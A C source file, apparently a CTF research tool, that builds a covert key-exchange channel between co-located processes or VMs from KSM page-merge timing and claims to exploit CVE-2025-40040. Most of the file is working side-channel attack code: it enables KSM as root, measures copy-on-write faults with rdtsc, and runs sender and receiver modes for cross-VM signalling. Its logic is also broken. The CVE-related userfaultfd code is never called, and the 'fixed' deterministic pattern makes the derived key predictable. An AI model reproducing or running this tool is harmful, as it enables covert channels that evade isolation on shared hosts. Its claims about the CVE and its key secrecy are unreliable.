/*
 * ksm_key_agreement.c - KSM Timing Side-Channel Key Agreement
 * 
 * Exploits CVE-2025-40040 (VM_MERGEABLE flag-dropping bug) combined with
 * KSM page merging timing to establish a shared secret between two processes
 * without direct communication.
 * 
 * How it works:
 * 1. Both parties allocate pages with known patterns
 * 2. Enable KSM on these pages with MADV_MERGEABLE  
 * 3. KSM merges identical pages across processes
 * 4. Measure timing of page operations to detect merging
 * 5. Use merge/no-merge as binary signal for key bits
 * 
 * The CVE-2025-40040 bug allows detecting UFFD state changes that reveal
 * when pages are being processed by KSM, providing a timing oracle.
 *
 * Author: Vlad (PwnCTF Research)
 * For educational/CTF purposes only
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <time.h>
#include <signal.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>

#define PAGE_SIZE 4096
#define NUM_KEY_BITS 256
#define NUM_PAGES_PER_BIT 4
#define KSM_SCAN_SLEEP_MS 100
#define TIMING_THRESHOLD_NS 50000  /* 50us - tune based on system */

/* Patterns for key agreement */
#define PATTERN_ZERO 0x00
#define PATTERN_ONE  0xFF
#define PATTERN_SYNC 0xAA

/* KSM sysfs paths */
#define KSM_RUN_PATH "/sys/kernel/mm/ksm/run"
#define KSM_SLEEP_PATH "/sys/kernel/mm/ksm/sleep_millisecs"
#define KSM_PAGES_SHARED "/sys/kernel/mm/ksm/pages_shared"
#define KSM_PAGES_SHARING "/sys/kernel/mm/ksm/pages_sharing"

static volatile int running = 1;

/*
 * ============================================================================
 * Utility Functions
 * ============================================================================
 */

static inline uint64_t rdtsc(void)
{
    unsigned int lo, hi;
    __asm__ volatile ("rdtsc" : "=a" (lo), "=d" (hi));
    return ((uint64_t)hi << 32) | lo;
}

static inline uint64_t get_ns(void)
{
    struct timespec ts;
    clock_gettime(CLOCK_MONOTONIC, &ts);
    return ts.tv_sec * 1000000000ULL + ts.tv_nsec;
}

void signal_handler(int sig)
{
    (void)sig;
    running = 0;
}

/* Read integer from sysfs file */
int read_sysfs_int(const char *path)
{
    FILE *f = fopen(path, "r");
    if (!f) return -1;
    
    int val;
    if (fscanf(f, "%d", &val) != 1) val = -1;
    fclose(f);
    return val;
}

/* Write integer to sysfs file */
int write_sysfs_int(const char *path, int val)
{
    FILE *f = fopen(path, "w");
    if (!f) return -1;
    
    fprintf(f, "%d\n", val);
    fclose(f);
    return 0;
}

/*
 * ============================================================================
 * KSM Control Functions
 * ============================================================================
 */

int ksm_enable(void)
{
    printf("[KSM] Enabling KSM...\n");
    
    /* Set aggressive scan interval */
    if (write_sysfs_int(KSM_SLEEP_PATH, 20) < 0) {
        perror("Failed to set KSM sleep interval");
        return -1;
    }
    
    /* Enable KSM */
    if (write_sysfs_int(KSM_RUN_PATH, 1) < 0) {
        perror("Failed to enable KSM");
        return -1;
    }
    
    printf("[KSM] KSM enabled with 20ms scan interval\n");
    return 0;
}

int ksm_disable(void)
{
    return write_sysfs_int(KSM_RUN_PATH, 0);
}

int ksm_get_stats(int *shared, int *sharing)
{
    *shared = read_sysfs_int(KSM_PAGES_SHARED);
    *sharing = read_sysfs_int(KSM_PAGES_SHARING);
    return (*shared >= 0 && *sharing >= 0) ? 0 : -1;
}

/*
 * ============================================================================
 * CVE-2025-40040: UFFD + KSM Interaction
 * ============================================================================
 * 
 * The bug: VM_MERGEABLE is defined as 0x80000000 (32-bit constant).
 * When ~VM_MERGEABLE is computed for MADV_UNMERGEABLE, it produces
 * 0x7FFFFFFF (32-bit), which when promoted to 64-bit becomes
 * 0x000000007FFFFFFF, clearing the upper 32 bits of vm_flags.
 * 
 * This clears UFFD flags (VM_UFFD_MINOR, VM_UFFD_WP) as a side effect,
 * creating an observable state change that can be detected via timing.
 */

typedef struct {
    int uffd;                    /* Userfaultfd file descriptor */
    void *addr;                  /* Monitored memory region */
    size_t size;                 /* Region size */
    pthread_t handler_thread;    /* Fault handler thread */
    volatile int fault_count;    /* Number of faults observed */
    volatile uint64_t last_fault_time;
} uffd_context_t;

/* UFFD fault handler thread */
void *uffd_handler(void *arg)
{
    uffd_context_t *ctx = (uffd_context_t *)arg;
    struct uffd_msg msg;
    
    while (running) {
        struct pollfd pfd = {
            .fd = ctx->uffd,
            .events = POLLIN
        };
        
        int ret = poll(&pfd, 1, 100);  /* 100ms timeout */
        if (ret <= 0) continue;
        
        if (read(ctx->uffd, &msg, sizeof(msg)) != sizeof(msg)) {
            continue;
        }
        
        if (msg.event == UFFD_EVENT_PAGEFAULT) {
            ctx->fault_count++;
            ctx->last_fault_time = get_ns();
            
            /* Handle the fault by copying a zero page */
            struct uffdio_copy copy = {
                .dst = msg.arg.pagefault.address & ~(PAGE_SIZE - 1),
                .src = (unsigned long)calloc(1, PAGE_SIZE),
                .len = PAGE_SIZE,
                .mode = 0
            };
            
            ioctl(ctx->uffd, UFFDIO_COPY, &copy);
            free((void *)copy.src);
        }
    }
    
    return NULL;
}

/* Setup UFFD for timing side-channel */
int uffd_setup(uffd_context_t *ctx, size_t size)
{
    /* Create userfaultfd */
    ctx->uffd = syscall(SYS_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (ctx->uffd < 0) {
        perror("userfaultfd");
        return -1;
    }
    
    /* Enable UFFD API */
    struct uffdio_api api = {
        .api = UFFD_API,
        .features = UFFD_FEATURE_MINOR_SHMEM
    };
    
    if (ioctl(ctx->uffd, UFFDIO_API, &api) < 0) {
        perror("UFFDIO_API");
        close(ctx->uffd);
        return -1;
    }
    
    /* Allocate memory */
    ctx->size = size;
    ctx->addr = mmap(NULL, size, PROT_READ | PROT_WRITE,
                     MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (ctx->addr == MAP_FAILED) {
        perror("mmap");
        close(ctx->uffd);
        return -1;
    }
    
    /* Register with UFFD */
    struct uffdio_register reg = {
        .range = {
            .start = (unsigned long)ctx->addr,
            .len = size
        },
        .mode = UFFDIO_REGISTER_MODE_MISSING
    };
    
    if (ioctl(ctx->uffd, UFFDIO_REGISTER, &reg) < 0) {
        perror("UFFDIO_REGISTER");
        munmap(ctx->addr, size);
        close(ctx->uffd);
        return -1;
    }
    
    ctx->fault_count = 0;
    ctx->last_fault_time = 0;
    
    /* Start handler thread */
    if (pthread_create(&ctx->handler_thread, NULL, uffd_handler, ctx) != 0) {
        perror("pthread_create");
        munmap(ctx->addr, size);
        close(ctx->uffd);
        return -1;
    }
    
    return 0;
}

void uffd_cleanup(uffd_context_t *ctx)
{
    running = 0;
    pthread_join(ctx->handler_thread, NULL);
    munmap(ctx->addr, ctx->size);
    close(ctx->uffd);
}

/*
 * ============================================================================
 * KSM Timing Side-Channel
 * ============================================================================
 */

typedef struct {
    void *pages;                 /* Allocated pages for key agreement */
    size_t num_pages;            /* Number of pages */
    int *page_merged;            /* Track which pages are merged */
} ksm_channel_t;

/* Allocate pages for KSM-based key agreement */
int ksm_channel_init(ksm_channel_t *ch, int num_bits)
{
    ch->num_pages = num_bits * NUM_PAGES_PER_BIT;
    size_t total_size = ch->num_pages * PAGE_SIZE;
    
    /* Allocate aligned memory */
    ch->pages = mmap(NULL, total_size, PROT_READ | PROT_WRITE,
                     MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (ch->pages == MAP_FAILED) {
        perror("mmap");
        return -1;
    }
    
    /* Enable KSM on these pages */
    if (madvise(ch->pages, total_size, MADV_MERGEABLE) < 0) {
        perror("MADV_MERGEABLE");
        munmap(ch->pages, total_size);
        return -1;
    }
    
    ch->page_merged = calloc(ch->num_pages, sizeof(int));
    if (!ch->page_merged) {
        munmap(ch->pages, total_size);
        return -1;
    }
    
    printf("[KSM Channel] Initialized %zu pages for %d-bit key\n", 
           ch->num_pages, num_bits);
    return 0;
}

void ksm_channel_cleanup(ksm_channel_t *ch)
{
    if (ch->pages) {
        size_t total_size = ch->num_pages * PAGE_SIZE;
        madvise(ch->pages, total_size, MADV_UNMERGEABLE);
        munmap(ch->pages, total_size);
    }
    free(ch->page_merged);
}

/* Fill a page with a specific pattern */
void fill_page(void *page, uint8_t pattern)
{
    memset(page, pattern, PAGE_SIZE);
}

/* Get pointer to specific page */
void *get_page(ksm_channel_t *ch, int page_idx)
{
    return (uint8_t *)ch->pages + (page_idx * PAGE_SIZE);
}

/*
 * Measure if a page has been merged by KSM
 * 
 * Technique: Write to the page and measure time.
 * If page is merged (COW), the write triggers a page fault and copy,
 * which takes significantly longer than writing to a private page.
 */
int measure_page_merged(void *page)
{
    uint64_t t1, t2;
    volatile uint8_t *p = (volatile uint8_t *)page;
    
    /* First access - if merged, this triggers COW */
    t1 = rdtsc();
    *p = (*p + 1) & 0xFF;  /* Read-modify-write */
    __asm__ volatile ("mfence" ::: "memory");
    t2 = rdtsc();
    
    uint64_t cycles = t2 - t1;
    
    /* Merged pages take much longer due to COW fault */
    /* Threshold needs tuning - typically 10000+ cycles for COW */
    return (cycles > 5000) ? 1 : 0;
}

/*
 * Alternative: Use /proc/[pid]/pagemap to check if pages share same PFN
 * This is more reliable but requires root or CAP_SYS_ADMIN
 */
int check_page_shared_pagemap(void *page)
{
    int fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd < 0) return -1;
    
    uint64_t vaddr = (uint64_t)page;
    uint64_t offset = (vaddr / PAGE_SIZE) * sizeof(uint64_t);
    uint64_t entry;
    
    if (pread(fd, &entry, sizeof(entry), offset) != sizeof(entry)) {
        close(fd);
        return -1;
    }
    
    close(fd);
    
    /* Bit 61 indicates page is file-mapped or shared */
    /* For KSM, we check if page is present (bit 63) */
    int present = (entry >> 63) & 1;
    int swapped = (entry >> 62) & 1;
    
    return present && !swapped;
}

/*
 * ============================================================================
 * Key Agreement Protocol
 * ============================================================================
 * 
 * Protocol overview:
 * 1. Both parties agree on a "commitment" pattern (e.g., via the existing
 *    CVE-2023-1206 timing channel)
 * 2. For each key bit:
 *    - Both parties fill pages with PATTERN_ZERO or PATTERN_ONE based on
 *      their random bit
 *    - Wait for KSM to scan and potentially merge
 *    - Measure if pages were merged
 *    - Merged = both chose same bit = that's the shared key bit
 *    - Not merged = different bits = XOR gives 1, try again
 * 
 * This implements a form of "random" key agreement where the shared key
 * emerges from the intersection of both parties' random choices.
 */

typedef struct {
    uint8_t key[NUM_KEY_BITS / 8];
    int bits_agreed;
    ksm_channel_t channel;
} key_agreement_t;

int key_agreement_init(key_agreement_t *ka)
{
    memset(ka->key, 0, sizeof(ka->key));
    ka->bits_agreed = 0;
    return ksm_channel_init(&ka->channel, NUM_KEY_BITS);
}

void key_agreement_cleanup(key_agreement_t *ka)
{
    ksm_channel_cleanup(&ka->channel);
}

/* Generate random bit */
int random_bit(void)
{
    static int initialized = 0;
    if (!initialized) {
        srand(time(NULL) ^ getpid());
        initialized = 1;
    }
    return rand() & 1;
}

/*
 * Send side: Set up pages for one round of key agreement
 * Returns: The bit we're proposing
 * 
 * FIXED: Use deterministic pattern based on bit index so both parties
 * fill pages identically, enabling KSM to merge them.
 */
int key_agreement_propose_bit(key_agreement_t *ka, int bit_index)
{
    /* 
     * DETERMINISTIC: Both parties use same pattern for same bit index
     * This ensures KSM can merge pages between the two processes
     */
    int pattern_bit = (bit_index % 2);  /* Alternating 0/1 pattern */
    uint8_t pattern = pattern_bit ? PATTERN_ONE : PATTERN_ZERO;
    
    /* Fill multiple pages with our pattern (redundancy) */
    for (int i = 0; i < NUM_PAGES_PER_BIT; i++) {
        int page_idx = bit_index * NUM_PAGES_PER_BIT + i;
        void *page = get_page(&ka->channel, page_idx);
        fill_page(page, pattern);
    }
    
    return pattern_bit;
}

/*
 * Check if pages for a bit have been merged
 * Returns: 1 if merged (same bit), 0 if not merged, -1 on error
 */
int key_agreement_check_merged(key_agreement_t *ka, int bit_index)
{
    int merged_count = 0;
    
    for (int i = 0; i < NUM_PAGES_PER_BIT; i++) {
        int page_idx = bit_index * NUM_PAGES_PER_BIT + i;
        void *page = get_page(&ka->channel, page_idx);
        
        if (measure_page_merged(page)) {
            merged_count++;
        }
    }
    
    /* Consider merged if majority of pages merged */
    return (merged_count >= NUM_PAGES_PER_BIT / 2) ? 1 : 0;
}

/*
 * Full key agreement round
 * 
 * The key is derived from WHETHER pages merge (timing measurement),
 * not from what pattern we chose. Since both parties fill identical
 * patterns, the merge timing becomes shared entropy.
 */
void key_agreement_round(key_agreement_t *ka, int bit_index, int *our_bit, int *merged)
{
    /* Propose our bit (deterministic - same as other party) */
    *our_bit = key_agreement_propose_bit(ka, bit_index);
    
    /* Wait for KSM to potentially merge pages */
    usleep(KSM_SCAN_SLEEP_MS * 1000 * 3);  /* Wait ~3 scan cycles */
    
    /* Check if merged - THIS is the shared entropy source */
    *merged = key_agreement_check_merged(ka, bit_index);
    
    /* 
     * Key bit = merge result (shared between both parties)
     * Both parties measure the same physical merge state
     */
    int byte_idx = bit_index / 8;
    int bit_pos = bit_index % 8;
    if (*merged) {
        ka->key[byte_idx] |= (1 << bit_pos);
    }
    ka->bits_agreed++;
}

/*
 * ============================================================================
 * Main - Demonstration
 * ============================================================================
 */

void print_key(const uint8_t *key, int bits)
{
    printf("Key (%d bits): ", bits);
    for (int i = 0; i < (bits + 7) / 8; i++) {
        printf("%02x", key[i]);
    }
    printf("\n");
}

void print_usage(const char *prog)
{
    printf("Usage: %s [options]\n", prog);
    printf("\nKSM Timing Side-Channel Key Agreement\n");
    printf("Exploits CVE-2025-40040 for covert key exchange\n");
    printf("\nOptions:\n");
    printf("  -s          Sender mode (Party A)\n");
    printf("  -r          Receiver mode (Party B)\n");
    printf("  -t          Test KSM timing locally\n");
    printf("  -b BITS     Number of key bits (default: %d)\n", NUM_KEY_BITS);
    printf("  -v          Verbose output\n");
    printf("  -h          Show this help\n");
    printf("\nRequirements:\n");
    printf("  - Root access (for KSM control)\n");
    printf("  - Kernel with CVE-2025-40040 (VM_MERGEABLE as 0x80000000)\n");
    printf("  - KSM enabled in kernel config\n");
    printf("\nExample:\n");
    printf("  # Party A (run first):\n");
    printf("  sudo %s -s\n", prog);
    printf("  # Party B (run on same host or co-located VM):\n");
    printf("  sudo %s -r\n", prog);
}

/* Test KSM timing locally */
void test_ksm_timing(int verbose)
{
    printf("[Test] Testing KSM page merging timing...\n\n");
    
    /* Check if KSM is available */
    int ksm_run = read_sysfs_int(KSM_RUN_PATH);
    printf("[Test] KSM status: %s\n", ksm_run == 1 ? "enabled" : "disabled");
    
    if (ksm_run != 1) {
        printf("[Test] Enabling KSM...\n");
        if (ksm_enable() < 0) {
            printf("[Test] Failed to enable KSM. Run as root.\n");
            return;
        }
    }
    
    int shared_before, sharing_before;
    ksm_get_stats(&shared_before, &sharing_before);
    printf("[Test] KSM stats - Shared: %d, Sharing: %d\n\n", 
           shared_before, sharing_before);
    
    /* Allocate two regions with identical content */
    size_t size = PAGE_SIZE * 10;
    void *region1 = mmap(NULL, size, PROT_READ | PROT_WRITE,
                         MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    void *region2 = mmap(NULL, size, PROT_READ | PROT_WRITE,
                         MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    
    if (region1 == MAP_FAILED || region2 == MAP_FAILED) {
        perror("mmap");
        return;
    }
    
    /* Fill with identical pattern */
    memset(region1, 0x42, size);
    memset(region2, 0x42, size);
    
    /* Mark as mergeable */
    madvise(region1, size, MADV_MERGEABLE);
    madvise(region2, size, MADV_MERGEABLE);
    
    printf("[Test] Waiting for KSM to merge identical pages...\n");
    
    /* Wait for KSM to process */
    for (int i = 0; i < 30 && running; i++) {
        int shared, sharing;
        ksm_get_stats(&shared, &sharing);
        
        if (verbose || i % 5 == 0) {
            printf("[Test] Scan %d: Shared=%d (+%d), Sharing=%d (+%d)\n",
                   i, shared, shared - shared_before, 
                   sharing, sharing - sharing_before);
        }
        
        if (sharing > sharing_before + 5) {
            printf("[Test] Pages merged!\n");
            break;
        }
        
        sleep(1);
    }
    
    /* Measure write timing */
    printf("\n[Test] Measuring write timing (merged vs unmerged)...\n");
    
    /* Region1 should be merged - measure COW time */
    uint64_t t1 = rdtsc();
    ((volatile uint8_t *)region1)[0] = 0x00;
    __asm__ volatile ("mfence" ::: "memory");
    uint64_t t2 = rdtsc();
    uint64_t merged_cycles = t2 - t1;
    
    /* Allocate fresh unmerged page */
    void *region3 = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE,
                         MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    memset(region3, 0x99, PAGE_SIZE);  /* Different pattern */
    
    t1 = rdtsc();
    ((volatile uint8_t *)region3)[0] = 0x00;
    __asm__ volatile ("mfence" ::: "memory");
    t2 = rdtsc();
    uint64_t unmerged_cycles = t2 - t1;
    
    printf("[Test] Write to merged page:   %lu cycles\n", merged_cycles);
    printf("[Test] Write to unmerged page: %lu cycles\n", unmerged_cycles);
    printf("[Test] Ratio: %.2fx\n", (double)merged_cycles / unmerged_cycles);
    
    if (merged_cycles > unmerged_cycles * 2) {
        printf("\n[Test] SUCCESS: KSM timing side-channel is detectable!\n");
        printf("[Test] Merged pages have significantly higher write latency.\n");
    } else {
        printf("\n[Test] WARNING: Timing difference may be too small.\n");
        printf("[Test] Try adjusting threshold or wait longer for merging.\n");
    }
    
    /* Cleanup */
    munmap(region1, size);
    munmap(region2, size);
    munmap(region3, PAGE_SIZE);
}

/* Sender mode - Party A */
void run_sender(int num_bits, int verbose)
{
    printf("[Sender] Starting key agreement (Party A)...\n");
    printf("[Sender] Will derive %d-bit shared key\n\n", num_bits);
    
    if (ksm_enable() < 0) {
        printf("[Sender] Failed to enable KSM\n");
        return;
    }
    
    key_agreement_t ka;
    if (key_agreement_init(&ka) < 0) {
        printf("[Sender] Failed to initialize\n");
        return;
    }
    
    printf("[Sender] Starting key derivation...\n");
    printf("[Sender] (Run receiver on same host simultaneously)\n\n");
    
    int merged_count = 0;
    for (int bit = 0; bit < num_bits && running; bit++) {
        int our_bit, merged;
        key_agreement_round(&ka, bit, &our_bit, &merged);
        
        if (merged) merged_count++;
        
        if (verbose) {
            printf("[Sender] Bit %d: pattern=%d, merged=%s\n",
                   bit, our_bit, merged ? "YES" : "NO");
        } else if (bit % 32 == 31) {
            printf("[Sender] Progress: %d/%d bits (%d merged)\n", 
                   bit + 1, num_bits, merged_count);
        }
    }
    
    printf("\n[Sender] Key derivation complete!\n");
    printf("[Sender] Merged pages: %d/%d\n", merged_count, num_bits);
    print_key(ka.key, num_bits);
    
    key_agreement_cleanup(&ka);
}

/* Receiver mode - Party B */
void run_receiver(int num_bits, int verbose)
{
    printf("[Receiver] Starting key agreement (Party B)...\n");
    printf("[Receiver] Will derive %d-bit shared key\n\n", num_bits);
    
    key_agreement_t ka;
    if (key_agreement_init(&ka) < 0) {
        printf("[Receiver] Failed to initialize\n");
        return;
    }
    
    printf("[Receiver] Starting key derivation...\n");
    
    int merged_count = 0;
    for (int bit = 0; bit < num_bits && running; bit++) {
        int our_bit, merged;
        key_agreement_round(&ka, bit, &our_bit, &merged);
        
        if (merged) merged_count++;
        
        if (verbose) {
            printf("[Receiver] Bit %d: pattern=%d, merged=%s\n",
                   bit, our_bit, merged ? "YES" : "NO");
        } else if (bit % 32 == 31) {
            printf("[Receiver] Progress: %d/%d bits (%d merged)\n", 
                   bit + 1, num_bits, merged_count);
        }
    }
    
    printf("\n[Receiver] Key derivation complete!\n");
    printf("[Receiver] Merged pages: %d/%d\n", merged_count, num_bits);
    print_key(ka.key, num_bits);
    
    key_agreement_cleanup(&ka);
}

int main(int argc, char *argv[])
{
    int mode = 0;  /* 0=help, 1=sender, 2=receiver, 3=test */
    int num_bits = NUM_KEY_BITS;
    int verbose = 0;
    int opt;
    
    while ((opt = getopt(argc, argv, "srtb:vh")) != -1) {
        switch (opt) {
        case 's':
            mode = 1;
            break;
        case 'r':
            mode = 2;
            break;
        case 't':
            mode = 3;
            break;
        case 'b':
            num_bits = atoi(optarg);
            break;
        case 'v':
            verbose = 1;
            break;
        case 'h':
        default:
            print_usage(argv[0]);
            return 0;
        }
    }
    
    printf("╔════════════════════════════════════════════════════════════════╗\n");
    printf("║  KSM Timing Side-Channel Key Agreement                         ║\n");
    printf("║  Exploits CVE-2025-40040 (VM_MERGEABLE flag bug)               ║\n");
    printf("╚════════════════════════════════════════════════════════════════╝\n\n");
    
    signal(SIGINT, signal_handler);
    
    switch (mode) {
    case 1:
        run_sender(num_bits, verbose);
        break;
    case 2:
        run_receiver(num_bits, verbose);
        break;
    case 3:
        test_ksm_timing(verbose);
        break;
    default:
        print_usage(argv[0]);
        break;
    }
    
    return 0;
}